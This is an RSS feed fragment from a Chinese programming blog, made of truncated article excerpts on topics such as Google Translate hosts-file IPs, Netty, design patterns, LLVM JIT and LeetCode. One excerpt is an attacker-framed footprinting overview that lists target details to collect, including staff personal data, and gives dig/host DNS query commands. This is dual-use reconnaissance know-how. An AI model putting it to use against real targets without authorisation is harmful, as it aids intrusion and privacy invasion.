      <description>在9月底时就发现谷歌一键翻译不可用，原来是谷歌关停了翻译功能。但是机智的我们发现谷歌翻译api依旧可以使用，于是Ping一下 translate.googleapis.com 获取了ip，将新的ip 放入hosts文件重定向下依旧可以快乐的使用。&#xA;但是自10月21日后谷歌 断开了谷歌翻译与在华运营的其它网络服务 IP 的关联，通过可访问的 translate.googleapis.com 域名获取 IP 不再可行，想要通过修改 hosts 恢复谷歌翻译功能，需要寻找其它可用 IP 地址。对于有vpn的小伙伴们可以开全局代理，通过全局代理一键翻译是没有问题的，对于没有vpn的小伙伴，我下面会贴一些ip出来方便大家使用&#xA;关于hosts文件位置:&#xA;windows系统&#xA;C:\Windows\System32\drivers\etc\hosts macOS 系统 通过系统自带的 vim 编辑器打开 hosts 文件&#xA;sudo vim /etc/hosts 下面将是可以用的ip,当你发现这些ip都无法使用时，那说明你需要继续更新ip了（目前这些ip都不行了，滑到下面最新更新的ip）&#xA;142.250.4.90 translate.googleapis.com&#xA;172.253.114.90 translate.googleapis.com&#xA;172.217.203.90 translate.googleapis.com&#xA;172.253.112.90 translate.googleapis.com&#xA;142.250.9.90 translate.googleapis.com&#xA;172.253.116.90 translate.googleapis.com&#xA;142.250.97.90 translate.googleapis.com&#xA;142.250.30.90 translate.googleapis.com&#xA;142.250.111.90 translate.googleapis.com&#xA;172.217.215.90 translate.googleapis.com&#xA;142.250.11.90 translate.googleapis.com&#xA;142.251.9.90 translate.googleapis.com&#xA;108.177.122.90 translate.googleapis.com&#xA;142.250.96.90 translate.googleapis.com&#xA;142.250.100.90 translate.googleapis.com&#xA;142.250.110.90 translate.googleapis.com&#xA;172.217.214.90 translate.googleapis.com&#xA;172.217.222.90 translate.googleapis.com&#xA;142.250.31.90 translate.googleapis.com&#xA;142.250.126.90 translate.</description>
    </item>
    <item>
      <title>攻防信息收集(网络踩点)方法集</title>
      <link>https://bchobby.github.io/posts/cca75ca167e59f83a9afca041b0fb8ce/</link>
      <pubDate>Sat, 23 Dec 2023 10:21:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cca75ca167e59f83a9afca041b0fb8ce/</guid>
      <description>信息收集,又称网络踩点(footprinting)，攻击者通过各种途径对要攻击的目标进行有计划和有步骤的信息收集，从而了解目标网络环境和信息安全状况的过程。&#xA;一、信息收集分类 被动信息收集：搜索引擎&#xA;主动信息收集：直接访问、扫描网站&#xA;二、信息收集内容 服务器信息：端口、服务、DNS、真实IP&#xA;网站信息：网站架构(操作系统、中间件、数据库、编程语言)、指纹信息(wappalyzer插件) 、WAF、敏感目录、源码泄漏、旁站查询、C段查询&#xA;域名信息：whois、备案信息、子域名&#xA;人员信息：姓名、职务、生日、联系电话、邮件地址&#xA;三、域名系统DNS 域名系统是因特网的主要服务，作为将域名和IP地址相互映射的一个分布式数据库，能够使人更方便的访问互联网。DNS使用TCP和UDP端口53。&#xA;1.dig命令 dig(domain information group)是常用的域名查询工具，可从DNS域名服务器查询主机地址信息，获取到详细的域名信息。&#xA;基本用法：dig www.baidu.com&#xA;dig www.baidu.com A //查询A记录&#xA;dig www.baidu.com MX //查询MX记录&#xA;dig www.baidu.com CNAME //查询CNAME记录&#xA;dig www.baidu.com NS //查询NS记录&#xA;dig www.baidu.com ANY //查询上述所有记录&#xA;dig www.baidu.com A +short //查询A记录并显示简要的返回结果&#xA;dig @8.8.8.8 www.baidu.com //从指定的DNS服务器(8.8.8.8)进行查询&#xA;dig -x 8.8.8.8 +short //反向查询(查询IP的DNS)&#xA;dig +trace www.baidu.com //跟踪整个查询过程&#xA;2.host命令 host：常用的分析域名查询工具，可测试域名系统工作是否正常；&#xA;功能：域名-&amp;gt;IP地址，IP-&amp;gt;域名&#xA;用法：&#xA;查询域名对应的IP地址 host www.baidu.com&#xA;显示域名查询的详细信息 host -v www.baidu.com&#xA;查询域名的MX信息 host -t mx www.</description>
    </item>
    <item>
      <title>Netty 与 RPC（一）</title>
      <link>https://bchobby.github.io/posts/52653ea063f8f43d987e11839d2bd0d4/</link>
      <pubDate>Sat, 23 Dec 2023 10:07:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52653ea063f8f43d987e11839d2bd0d4/</guid>
      <description>Netty 与 RPC&#xA;Netty 原理 Netty 是一个高性能、异步事件驱动的 NIO 框架，基于 JAVA NIO 提供的 API 实现。它提供了对TCP、UDP 和文件传输的支持，作为一个异步 NIO 框架，Netty 的所有 IO 操作都是异步非阻塞的，通过 Future-Listener 机制，用户可以方便的主动获取或者通过通知机制获得 IO 操作结果。&#xA;Netty 高性能 在 IO 编程过程中，当需要同时处理多个客户端接入请求时，可以利用多线程或者 IO 多路复用技术进行处理。IO 多路复用技术通过把多个 IO 的阻塞复用到同一个 select 的阻塞上，从而使得系统在单线程的情况下可以同时处理多个客户端请求。与传统的多线程/多进程模型比，I/O 多路复用的最大优势是系统开销小，系统不需要创建新的额外进程或者线程，也不需要维护这些进程和线程的运行，降低了系统的维护工作量，节省了系统资源。与 Socket 类和 ServerSocket 类相对应，NIO 也提供了 SocketChannel 和 ServerSocketChannel&#xA;两种不同的套接字通道实现。&#xA;多路复用通讯方式 Netty 架构按照 Reactor 模式设计和实现，它的服务端通信序列图如下：&#xA;客户端通信序列图如下：&#xA;Netty 的 IO 线程 NioEventLoop 由于聚合了多路复用器 Selector，可以同时并发处理成百上千个客户端 Channel，由于读写操作都是非阻塞的，这就可以充分提升 IO 线程的运行效率，避免由于频繁 IO 阻塞导致的线程挂起。&#xA;异步通讯 NIO 由于 Netty 采用了异步通信模式，一个 IO 线程可以并发处理 N 个客户端连接和读写操作，这从根本上解决了传统同步阻塞 IO 一连接一线程模型，架构的性能、弹性伸缩能力和可靠性都得到了极大的提升。</description>
    </item>
    <item>
      <title>【设计模式】命令模式</title>
      <link>https://bchobby.github.io/posts/ffdc29f94225fd040c320231ddc58e68/</link>
      <pubDate>Sat, 23 Dec 2023 09:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ffdc29f94225fd040c320231ddc58e68/</guid>
      <description>其他系列文章导航 Java基础合集&#xA;数据结构与算法合集&#xA;设计模式合集&#xA;多线程合集&#xA;分布式合集&#xA;ES合集&#xA;文章目录 其他系列文章导航&#xA;文章目录&#xA;前言&#xA;一、什么是命令模式？&#xA;二、命令模式的优点和应用场景&#xA;三、命令模式的要素和实现&#xA;3.1 命令&#xA;3.2 具体命令&#xA;3.3 接受者&#xA;3.4 调用者&#xA;3.5 客户端&#xA;四、总结&#xA;前言 欢迎来到【设计模式】系列博客，今天我们将探讨其中一种重要的设计模式——命令模式。&#xA;设计模式是软件开发中解决常见问题的最佳实践，而命令模式则是其中一种非常实用的设计模式，它可以帮助我们更好地组织和管理请求或命令。&#xA;在本篇博客中，我们将详细介绍命令模式的定义、特点、使用场景以及实现方式。通过具体的案例和实践，我们将深入了解命令模式在实际项目中的应用和优势。同时，我们还将分享一些注意事项和最佳实践，以帮助您更好地理解和应用命令模式。&#xA;希望通过本篇博客的学习，您能够掌握命令模式的基本概念和用法，并在实际项目中灵活运用这一设计模式，提高软件的质量和效率。&#xA;一、什么是命令模式？ 命令模式是一种行为型设计模式，核心是将每种请求或操作封装为一个独立的对象，从而可以集中管理这些请求或操作，比如将请求队列化依次执行、或者对操作进行记录和撤销。&#xA;命令模式通过将请求的发送者（客户端）和接收者（执行请求的对象）解耦，提供了更大的灵活性和可维护性。&#xA;二、命令模式的优点和应用场景 命令模式最大的优点就是解耦请求发送者和接受者，让系统更加灵活、可扩展。&#xA;由于每个操作都是一个独立的命令类，所以我们需要新增命令操作时，不需要改动现有代码。&#xA;命令模式典型的应用场景：&#xA;系统需要统一处理多种复杂的操作，比如操作排队、记录操作历史、撤销重做等。系统需要持续增加新的命令、或者要处理复杂的组合命令（子命令），使用命令模式可以实现解耦。 三、命令模式的要素和实现 3.1 命令 相当于遥控器操作按钮的制作规范&#xA;命令是一个抽象类或接口，它定义了执行操作的方法，通常是execute，该方法封装了具体的操作。&#xA;public interface Command { void execute(); } 3.2 具体命令 相当于遥控器的某个操作按钮&#xA;具体命令是命令接口的具体实现类，它负责将请求传递给接收者（设备）并执行具体的操作。&#xA;比如定义一个关闭设备命令：&#xA;public class TurnOffCommand implements Command { private Device device; public TurnOffCommand(Device device) { this.device = device; } public void execute() { device.</description>
    </item>
    <item>
      <title>RK3568平台 并发与竞争控制机制总结</title>
      <link>https://bchobby.github.io/posts/260cfc44f21ed5012f83a871339c7cbb/</link>
      <pubDate>Fri, 22 Dec 2023 22:59:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/260cfc44f21ed5012f83a871339c7cbb/</guid>
      <description>一.并发与竞争机制总结 二.原子操作 “原子”是化学世界中不可再分的最小微粒，一切物质都由原子组成。在Linux 内核中的原子操作可以理解为“不可被拆分的操作”，就是不能被更高等级中断抢夺优先的操作。在C语言中可以使用以下代码对一个整形变量赋值。&#xA;原子操作测试demo：&#xA;#include &amp;lt;linux/init.h&amp;gt; #include &amp;lt;linux/module.h&amp;gt; #include &amp;lt;linux/fs.h&amp;gt; #include &amp;lt;linux/cdev.h&amp;gt; #include &amp;lt;linux/kdev_t.h&amp;gt; #include &amp;lt;linux/uaccess.h&amp;gt; #include &amp;lt;linux/delay.h&amp;gt; #include &amp;lt;linux/atomic.h&amp;gt; #include &amp;lt;linux/errno.h&amp;gt; static atomic64_t v = ATOMIC_INIT(1);//初始化原子类型变量v,并设置为1 static int open_test(struct inode *inode,struct file *file) { if(atomic64_read(&amp;amp;v) != 1){//读取原子类型变量v的值并判断是否等于1 return -EBUSY; } atomic64_set(&amp;amp;v,0);//将原子类型变量v的值设置为0 //printk(&#34;\nthis is open_test \n&#34;); return 0; } static ssize_t read_test(struct file *file,char __user *ubuf,size_t len,loff_t *off) { int ret; char kbuf[10] = &#34;topeet&#34;;//定义char类型字符串变量kbuf printk(&#34;\nthis is read_test \n&#34;</description>
    </item>
    <item>
      <title>ElasticSearch面试题</title>
      <link>https://bchobby.github.io/posts/d4eec8bc626ba093ec3cd6d5217ee941/</link>
      <pubDate>Fri, 22 Dec 2023 22:21:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4eec8bc626ba093ec3cd6d5217ee941/</guid>
      <description>1.介绍下es的架构？ es采用的是分布式的架构，es集群中会有多个结点，而结点的角色主要有下面几种。&#xA;协调结点：&#xA;请求路由能力，将请求内容将请求转发给对应的结点进行处理。&#xA;master结点：&#xA;结点管理：处理结点的加入和离开&#xA;索引管理：负责索引的创建，删除，修改。以及索引分片的分配任务。&#xA;数据结点：&#xA;数据的存储和管理。管理包括处理数据的新增，修改，查询等请求。&#xA;2. 介绍下es的查询过程的相关知识？ es的查询过程分两段，先query，再fetch。&#xA;在query阶段，有协调结点向数据结点发出查询指令，数据结点会返回匹配的id和排序权重&#xA;在fetch阶段，协调结点会根据排序权重重新排序，确定当前查询需要返回的数据范围。再去数据结点fetch具体的数据。&#xA;es内部如何使用缓存来优化查询数据？&#xA;解答这个问题，需要先了解es中索引的结构。首先，es的索引类似于mysql中的表，是用来存储文档数据的。基于分布式的特点，es将一个索引划分成多个分片，来提高索引的读写性能。然后，分片中的数据又是由一个个的segment构成的。&#xA;那基于索引，分片，segment这样的结构，es中存在segment级别的缓存和分片级别的缓存，来提高查询的检索速度。&#xA;其中作为数据存放的基本单元，segment在生成之后，除了合并和删除的场景，其它情况是不会变更的。对索引中文档的修改操作，都是会存在新的segment中。查询的时候，对与不同segment中包含同样id的文档的情况，也是会优先展示更新的版本号的记录。segment上的数据比较稳定，也是适合使用缓存的。&#xA;两个缓存的失效时机：&#xA;segment级别缓存：发生在segment的合并和删除的时候。&#xA;分片级别的缓存：进行refresh，操作时，缓存会失效。或者说时超过了缓存时间（查询缓存默认是不开启的，确实用处也不大）&#xA;es中的索引结构？&#xA;es中使用的是倒排序的索引结构，这种结构的玩法就是存放关键词和包含了关键词的文档的对应关系。可以想象成是一个map结构，key是关键词，value是一个列表，列表中存放了关键词出现的文档id。检索的复杂度是O(1),速度很快。当然，为了减少存储key所占有的空间。实际的存储结构会使用到前缀索引，可以减少重复字符占用的空间。</description>
    </item>
    <item>
      <title>数据结构---算法的空间复杂度</title>
      <link>https://bchobby.github.io/posts/dbf0c1eadcd86e157b2e1c83a4fb49ad/</link>
      <pubDate>Fri, 22 Dec 2023 21:39:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dbf0c1eadcd86e157b2e1c83a4fb49ad/</guid>
      <description>文章目录 空间复杂度概念实例 空间复杂度 概念 空间复杂度也是一个数学表达式，是对一个算法在运行过程中临时占用存储空间大小的量度 。&#xA;空间复杂度不是程序占用了多少bytes的空间，因为这个也没太大意义，所以空间复杂度算的是变量的个数。&#xA;空间复杂度计算规则基本跟实践复杂度类似，也使用大O渐进表示法。&#xA;注意：函数运行时所需要的栈空间(存储参数、局部变量、一些寄存器信息等)在编译期间已经确定好了，因此空间复杂度主要通过函数在运行时候显式申请的额外空间来确定。&#xA;注意：空间是可以重复利用的&#xA;实例 空间复杂度为O（1） 创建常数个变量 空间复杂度：O（1）&#xA;void BubbleSort(int* a, int n) { assert(a); for (size_t end = n; end &amp;gt; 0; --end) { int exchange = 0; for (size_t i = 1; i &amp;lt; end; ++i) { if (a[i-1] &amp;gt; a[i]) { Swap(&amp;amp;a[i-1], &amp;amp;a[i]); exchange = 1; } } if (exchange == 0) break; } } 空间复杂度为O（N）&#xA;因为创建出N+1个额外的空间 取影响最大的项为N&#xA;// 计算Fibonacci的空间复杂度？ // 返回斐波那契数列的前n项 long long* Fibonacci(size_t n) { if(n==0) return NULL; long long * fibArray = (long long *)malloc((n+1) * sizeof(long long)); fibArray[0] = 0; fibArray[1] = 1; for (int i = 2; i &amp;lt;= n ; ++i) { fibArray[i] = fibArray[i - 1] + fibArray [i - 2]; } return fibArray; } 空间复杂度为O（N）</description>
    </item>
    <item>
      <title>力扣 | 394. 算法题：字符串解码</title>
      <link>https://bchobby.github.io/posts/abf58eaaff221656e727ecc1bd62fede/</link>
      <pubDate>Fri, 22 Dec 2023 21:29:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abf58eaaff221656e727ecc1bd62fede/</guid>
      <description>给定一个经过编码的字符串，返回它解码后的字符串。&#xA;编码规则为: k[encoded_string]，表示其中方括号内部的 encoded_string 正好重复 k 次。 注意 k 保证为正整数。 你可以认为输入字符串总是有效的；输入字符串中没有额外的空格，且输入的方括号总是符合格式要求的。 此外，你可以认为原始数据不包含数字，所有的数字只表示重复的次数 k ， 例如不会出现像 3a 或 2[4] 的输入。 输入：s = &#34;3[a]2[bc]&#34; 输出：aaabcbc 输入：s = &#34;3[a2[c]]&#34; 输出：accaccacc 输入：s = &#34;2[abc]3[cd]ef&#34; 输出： abcabccdcdcdef 输入：s = &#34;abc3[cd]xyz&#34; 输出：abccdcdcdxyz public String decodeString(String s) { int num = 0; StringBuilder res = new StringBuilder(); //单线程下安全！StringBuffer多线程下安全！ ArrayDeque&amp;lt;Integer&amp;gt; numStack = new ArrayDeque&amp;lt;&amp;gt;(); ArrayDeque&amp;lt;String&amp;gt; strStack = new ArrayDeque&amp;lt;&amp;gt;(); for (char c : s.toCharArray()) { if (c &amp;gt;= &#39;0&#39; &amp;amp;&amp;amp; c &amp;lt;= &#39;9&#39;) { num = num * 10 + (c - &#39;0&#39;);//char自动提升为int类型 } else if (c == &#39;[&#39;) { numStack.</description>
    </item>
    <item>
      <title>阿里联合字节测试开发带你从0到1开发自动化测试框架</title>
      <link>https://bchobby.github.io/posts/5eec26e4fe2c7815fe8b2f2f7b64e9a0/</link>
      <pubDate>Fri, 22 Dec 2023 20:57:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5eec26e4fe2c7815fe8b2f2f7b64e9a0/</guid>
      <description>一、序言 随着项目版本的快速迭代、APP测试有以下几个特点：&#xA;首先，功能点多且细，测试工作量大，容易遗漏；其次，代码模块常改动，回归测试很频繁，测试重复低效；最后，数据环境多样，用户场景复杂，功能回归覆盖难全面。 为节省成本，保证高效及高质量迭代，我们需采用更高效的测试方式，App自动化测试是较高效的手段。 之前自动测试实践过程中遇到的诸多问题（代码复用率低，Case开发及数据构造繁琐，问题定位困难，学习成本高等），为解决相关痛点问题，我们重新实现了一套APP自动测试框架。本文将着重介绍技术选型、设计思路及百度外卖App的具体实践。 二、自动化测试框架技术选型 一个项目中自动化测试是否能有效的展开，自动化测试框架是关键所在。因此，如何如何构建稳定的、易扩展的自动化的测试项目对于敏捷测试有重要的意义。在设计框架的时候应该尽可能的沿用自动化测试工具已提供的功能，避免重复开发，以减少开发成本。 通过对现有自动化测试工具的原理进行深入分析及优缺点比较，并基于Appium和TestNG两类自动化测试框架解决上述自动化测试中遇到的问题。 首先，通过利用TestNG结合csv的使用，将测试用例数据转化为测试代码中的数据，减少了测试人员录入数据和准备数据的工具；再次，通过对appium的封装，按照面向对象的思想将测试中用到的页面元素封装成对象，增强测试代码的复用率，并减轻测试人员对底层代码实现的负担，提高测试代码编写效率；最后，引入失败重跑、失败截屏，并通过reportng生成测试报告的方式，逐步完善测试过程，提高定位问题的速度； TestNG&#xA;Testng是一个开源自动化测试框架，引入了许多新的创新功能，如依赖测试，分组概念，使测试更强大，更容易做到。 旨在涵盖所有类别的测试：单元，功能，端到端，集成等。TestNG框架可以很好地帮我们完成WebDriver+java的页面自动化工作,通过各种注释的灵活运行，可以使你的测试用例更加完美，定制符合要求的测试用例 TestNG是一个设计用来简化广泛的测试需求的测试框架，从单元测试到集成测试。 这个是TestNG设计的出发点，不仅仅是单元测试，而且可以用于集成测试。设计目标的不同，对比junit的只适合用于单元测试，TestNG无疑走的更远。可以用于集成测试，这个特性是我选择TestNG的最重要的原因。测试的过程的三个典型步骤，和junit(4.0)相比，多了一个将测试信息添加到testng.xml文件。 测试信息尤其是测试数据不再写死在测试代码中，好处就是修改测试数据时不需要修改代码/编译了，从而有助于将测试人员引入单元测试/集成测试。基本概念，相比junit的TestCase/TestSuite，TestNG有suite/test/test method三个级别，即将test/test method明确区分开了。 Appium&#xA;Appium一个开源、跨平台的测试框架，可以用来测试原生及混合的移动端应用。Appium支持iOS、Android及FirefoxOS平台测试。Appium使用WebDriver的json wire协议，来驱动Apple系统的UIAutomation库、Android系统的UIAutomator框架。相比其他的移动自动化测试工具，Appium测试由于调用了Selenium的client库使其可以使用任意的语言，包括Python、Ruby、Node.js、Objective-C等。&#xA;三、自动化测试框架的设计思路 测试设计过程和测试自动化框架必须作为两个单独的实体来开发。&#xA;测试框架应该独立于应用程序；&#xA;测试框架应该易于扩展 、维护和增强；&#xA;测试策略／设计应该对测试者隐藏测试框架的复杂性。&#xA;四、自动化框架介绍 该框架基于Selenium WebDriver开源技术开发。本框架使用Maven工具进行Project管理，采用TestNG工具组织测试，应用CSV文件存储测试数据，实现测试数据与测试用例的分离，方便测试数据管理，降低自动化脚本的维护成本，实现数据驱动。此外，该框架还封装了丰富的Selenium方法关键字，借鉴了QTP语法结构，实现了直观清晰的结构化代码语法，如：Page.Item.Operate，降低自动化代码的冗余与重复。借助Jenkins 进行CI测试，实现测试任务的Schedule 和Report功能，通过Jenkins Master/Slave模式管理虚拟机节点，实现多任务多机器分布式并发的执行管理，从而提高测试效率。&#xA;该框架的好处在于： 1、构建可复用的、稳定的代码集。通过封装appium实现用例执行与数据调用分离，参数化配置常用信息，并提供统一接口； 2、模块化管理自动化测试用例。主要根据TestNG工具的支持参数测试和依赖测试的特点实现； 3、测试结果分析和统计。利用jenkins工具建立持续集成，定期运行自动化测试项目，并将测试结果以定制化的形式展现。 测试框架分层&#xA;基于UI测试，我们希望除了支持web测试，还能支持app的测试，可能还需要接口测试，我们就需要考虑分层问题，将测试框架分为三层。上层是管理整个自动化测试的开发，执行以及维护，在比较庞大的项目中，它体现重要的作用，它可以管理整个自动测试，包括自动化测试用例执行的次序、测试脚本的维护、以及集中管理测试用例、测试报告和测试任务等。下层主要是测试脚本的开发，充分的使用相关的测试工具，构建测试驱动，并完成测试业务逻辑。&#xA;第一层：数据层&#xA;即执行用例时所需要的测试数据，如商户名、空间名、URL等，这些数据用来支撑整个脚本的执行。针对数据层，这里采了用数据驱动的方式。&#xA;第二层：驱动层&#xA;这一层主要封装各种driver。比如我们针对网页测试，使用selenium-webdriver开发包，针对app测试，我们使用appium开发包。我们在这一层进行封装，通过调用selenium-webdriver，appium提供的原生方法，封装成可读性很强的方法且加上容错机制。以后就算我们要换用其他的第三方包，我们的测试案例层和支持层的方法也不需要做任何的修改。只需要修改driver层实现的方式就可以了。在一层，我们主要实现两个方面的封装，一个是driver的封装，一个是基于基类自然语言函数的封装。&#xA;driver封装&#xA;我们需要封装，根据参数确实是基于web测试还是基于app测试。比如：&#xA;基类封装&#xA;主要是封装各种可读性很很强的方法以及将元素定位标识及driver也封装进去。为了支持网页测试和app测试，我们需要两个基类，一个是针对网页操作基类，一个是针对app操作基类。同时为了web和app操作的一致性，我们要求对外提供的方法，必须要将常用的方法保持一致的名字和一样的参数类型及参数个数。&#xA;APP基类示例如下：&#xA;通过对driver和基类的封装，driver层实现了对网页测试和app测试的支持，并且针对两种测试，都提供了统一的方法，能够方便使用者，使用相同的方法，测试app和web。&#xA;第三层：测试案例层&#xA;该层是测试案例的具体实现，就像上面写的case那样，用接近自然语言的方式，来实现测试案例。&#xA;第四层：支持层&#xA;该层主要提供workflow，通用工具，元素库的支持，便于测试案例层直接调用。&#xA;Workflow：主要封装测试项目中需要经常使用的针对项目的公用方法，供测试案例层直接调用。比如用户登录，注册一个用户，搜索出用户等等经常使用的动作；通用工具：提供一些通用方法，比如生成指定Page类，文件读取操作，DB操作，http操作支持等等；元素库：每一个页面元素的定位表达式（xpath，id，name，css，link_text等等表达式）。 我们的测试案例，都是针对一个个元素进行操作的。将每一个页面的每一个元素，都看成一个继承了基类的特定类。所以，我们的第一步，就需要找到这个元素，定位到这个元素。测试项目的所有元素都放到这里。 第五层：结果保存层&#xA;将测试脚本的日志和结果以自定义的方式展示，这里使用了ReportNG,它可以丰富测试结果的展现形式，帮助团队更快定位和解决问题。&#xA;五、框架技术要点解析 5.1、PO模式&#xA;5.1.1、遇到的问题&#xA;使用webdriver做过一段时间的测试就会发现一个对某一个页面的元素进行定位的时候，程序行间充斥着id()、name()、xpath()等方法，这样会造成测试程序的可读性较差，不便于后期的维护以及修改。&#xA;虽然我们可以通过添加注释的方法使程序便于理解，但是还是不可以从根本上解决这种问题。我们可以通过对这些方法进行二次封装来避免每次对这些方法的直接调用，通过方法的封装虽然可以实现复用。但是我们发现通过封装无法实现页面元素的逻辑处理和测试数据的独立。&#xA;5.1.2、问题的解决办法：引入PO&#xA;Page Object模式是Selenium中的一种测试设计模式，是指UI界面上用于与用户进行交互的对象。主要是将每一个页面设计为一个Class，其中包含页面中需要测试的元素（按钮，输入框，标题 等），这样在Selenium测试页面中可以通过调用页面类来获取页面元素，这样巧妙的避免了当页面元素id或者位置变化时，需要改测试页面代码的情况。 当页面元素id变化时，只需要更改测试页Class中页面的属性即可。通过对界面元素的封装减少冗余代码，提高测试用例的可维护性。&#xA;一般情况下，对于一个Page Objects对象，它有两个方面的特征：&#xA;自身元素(WebElement)实现功能 (Services) 仔细分析测试场景，抽出UI测试的核心行为，无非就是：</description>
    </item>
    <item>
      <title>Laravel框架使用phpstudy本地安装的composer用Laravel 安装器进行安装搭建</title>
      <link>https://bchobby.github.io/posts/a9ea479bb710c5c84212783258079d37/</link>
      <pubDate>Fri, 22 Dec 2023 20:38:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9ea479bb710c5c84212783258079d37/</guid>
      <description>一、首先需要安装Laravel 安装器 composer global require laravel/installer&#xA;二、安装器安装好后，可以使用如下命令创建项目 laravel new sys&#xA;三、本地运行 php artisan serve&#xA;四、 使用Composer快速安装Laravel5.8框架 安装指定版本的最新版本（推荐） composer create-project --prefer-dist laravel/laravel laravel 5.8.*&#xA;运行成功截图 五、安装过程中遇到的问题 报错1：laravel is not recognized as an internal or external command 设置系统路径 C:\Users\bianenhui\AppData\Roaming\Composer\vendor\bin&#xA;报错2： https://repo.packagist.org could not be fully loaded (curl error 28 while downloading h composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/&#xA;报错3：composer命令找不到 设置系统路径 D:\phpstudy_pro\Extensions\php\php7.3.4nts&#xA;composer安装的这两个文件复制到php.exe同目录下</description>
    </item>
    <item>
      <title>【Python小知识 - 6】：QLabel设置图片</title>
      <link>https://bchobby.github.io/posts/7d53e8fec98629785dc8eb9d9bd51282/</link>
      <pubDate>Fri, 22 Dec 2023 18:56:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d53e8fec98629785dc8eb9d9bd51282/</guid>
      <description>文章目录 QLabel设置图片 QLabel设置图片 from PyQt5.QtWidgets import * from PyQt5.QtGui import * import sys app = QApplication(sys.argv) window = QWidget() hbox = QHBoxLayout(window) # 设置标签图片 lable = QLabel() lable.setPixmap(QPixmap(&#39;./img/window.png&#39;).scaled(100, 100)) hbox.addWidget(lable) window.show() sys.exit(app.exec_()) 运行结果：</description>
    </item>
    <item>
      <title>2312llvm,06即时编译</title>
      <link>https://bchobby.github.io/posts/63ec91e71a0623a7cc6133258dc9e858/</link>
      <pubDate>Fri, 22 Dec 2023 18:01:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63ec91e71a0623a7cc6133258dc9e858/</guid>
      <description>即时编译器 LLVM即时(即时)编译器是基于函数的动态翻译引擎.&#xA;术语来自即时制造,即工厂按需制造或购买物资,而不放入仓库.在编译过程中,该比喻也很合适,因为即时编译器不会存储二进制程序到磁盘,而是在需要时才开始编译.&#xA;即时策略的优势,在于知道运行程序的精确的机器和微架构.这让即时系统可对特定处理器微调代码.&#xA;而且,有的编译器只有在运行时才知道其输入,因而只能实现即时系统.&#xA;如,GPU驱动即时编译着色语言,互联网浏览器处理js等.&#xA;了解LLVM即时引擎基础 LLVM即时编译器是基于函数的,因为它一次可编译单个函数.这定义了编译器的工作粒度,对即时系统来说这是个重要决定.&#xA;通过按需编译函数,编译器只会处理当前程序调用中实际用到的函数.如,你的程序有多个函数,但启动时设置了错误的命令行参数,基于函数的即时系统只会编译那个打印帮助消息的函数,而不是该程序.&#xA;即时引擎,在运行时编译且执行LLVMIR函数.在编译阶段,即时引擎会用LLVM生成目标相关的二进制指令组成的二进制数据块.&#xA;它返回编译后的可执行的函数指针.&#xA;一篇有趣的博客文章对比了即时编译的开源方法.&#xA;LLVM作为静态编译器比即时系统更加有名,因为在即时编译过程中,每趟消耗的时间是很重要的,这都算程序执行的成本.&#xA;和GCC相似,LLVM基础架构更注重支持慢而强的优化,而不是对构建有竞争力的即时系统很重要的快而弱的优化.&#xA;即时系统不值得浪费大量时间去优化仅执行几次的程序片段.&#xA;介绍执行引擎 LLVM即时系统有个支持执行LLVM模块的执行引擎.在&amp;lt;llvm_source&amp;gt;/include/llvm/ExecutionEngine/ExecutionEngine.h中定义ExecutionEngine类.&#xA;设计它通过即时系统或解释器执行.一般,一个执行引擎负责管理执行用户程序,分析要运行的程序片段,采取合理动作来执行它.&#xA;要即时编译,必须要有执行管理器来协调编译策略,(一次一个片段)运行用户程序.就LLVM的ExecutionEngine类而言,它把执行部分抛回给用户.&#xA;可运行编译管线,产生内存中的代码,但由你决定是否执行此代码.&#xA;除了有待执行LLVM模块,引擎支持下面几个场景:&#xA;1,懒(lazy)编译:调用函数时,引擎才编译它.关闭懒编译后,一旦请求函数指针,引擎就编译它们.&#xA;2,编译外部全局变量:包括解析当前LLVM模块的外部实体符号并分配内存.&#xA;3,与运行时动态加载共享对象(DSO)一样,通过dlsym查找和解析外部符号.&#xA;LLVM实现了两个执行引擎:llvm::JIT类和llvm::MCJIT类.ExecutionEngine::EngineBuilder()方法根据IR模块参数,实例化一个ExecutionEngine对象.&#xA;接着,ExecutionEngine::create()方法创建一个即时或MCJIT实例,两者实现截然不同.&#xA;注意,解释器实现了一个非传统策略来执行硬件平台(主机平台)不原生地支持的用户代码.如,LLVMIR是x86平台上的用户代码,因为x86处理器不能直接执行LLVMIR.&#xA;不同于即时编译器,解释器任务是读取每条指令,解码并执行它们,在软件中,模仿了物理处理器.&#xA;尽管解释器省去了启动编译器,翻译用户代码时间,它们往往慢得多.&#xA;管理内存 一般,即时引擎在运行时由ExecutionManager类,写二进制数据块进内存.随后,就可跳转到分配的内存区域(即调用ExecutionManager返回给你的函数指针),来执行这些指令了.&#xA;这里,对很多普通任务,如分配内存,释放内存,为加载库提供空间,和内存权限管理,管理内存很重要.&#xA;即时和MCJIT类都实现了自定义管理内存类,从RTDyldMemoryManager基类继承而来.&#xA;ExecutionEngine用户也可提供自定义的RTDyldMemoryManager子类,来指定在哪放置不同的即时组件.&#xA;可在&amp;lt;llvm_source&amp;gt;/include/llvm/ExecutionEngine/RTDyldMemoryManager.h文件中找该接口.&#xA;如,RTDyldMemoryManager类声明了如下方法:&#xA;1,allocateCodeSection()和allocateDataSection():这些方法分配内存,来保存给定大小和对齐的可执行代码和数据.&#xA;管理内存用户可通过内部节标识追踪已分配的节.&#xA;2,getSymbolAddress():返回当前链接的库中可获得的符号的地址.注意这不是用来取即时编译生成的符号.&#xA;调用时,必须提供一个std::string实例以保存符号的名字.&#xA;3,finalizeMemory():应该在加载完对象时调用,然后终于可设置内存权限了.如,不能在调用它前,运行生成代码.&#xA;它直接定向到MCJIT用户而不是即时用户.&#xA;尽管用户可提供自定义管理内存实现,JITMemoryManager和SectionMemoryManager分别是即时和MCJIT的默认子类.&#xA;llvm::即时基础结构 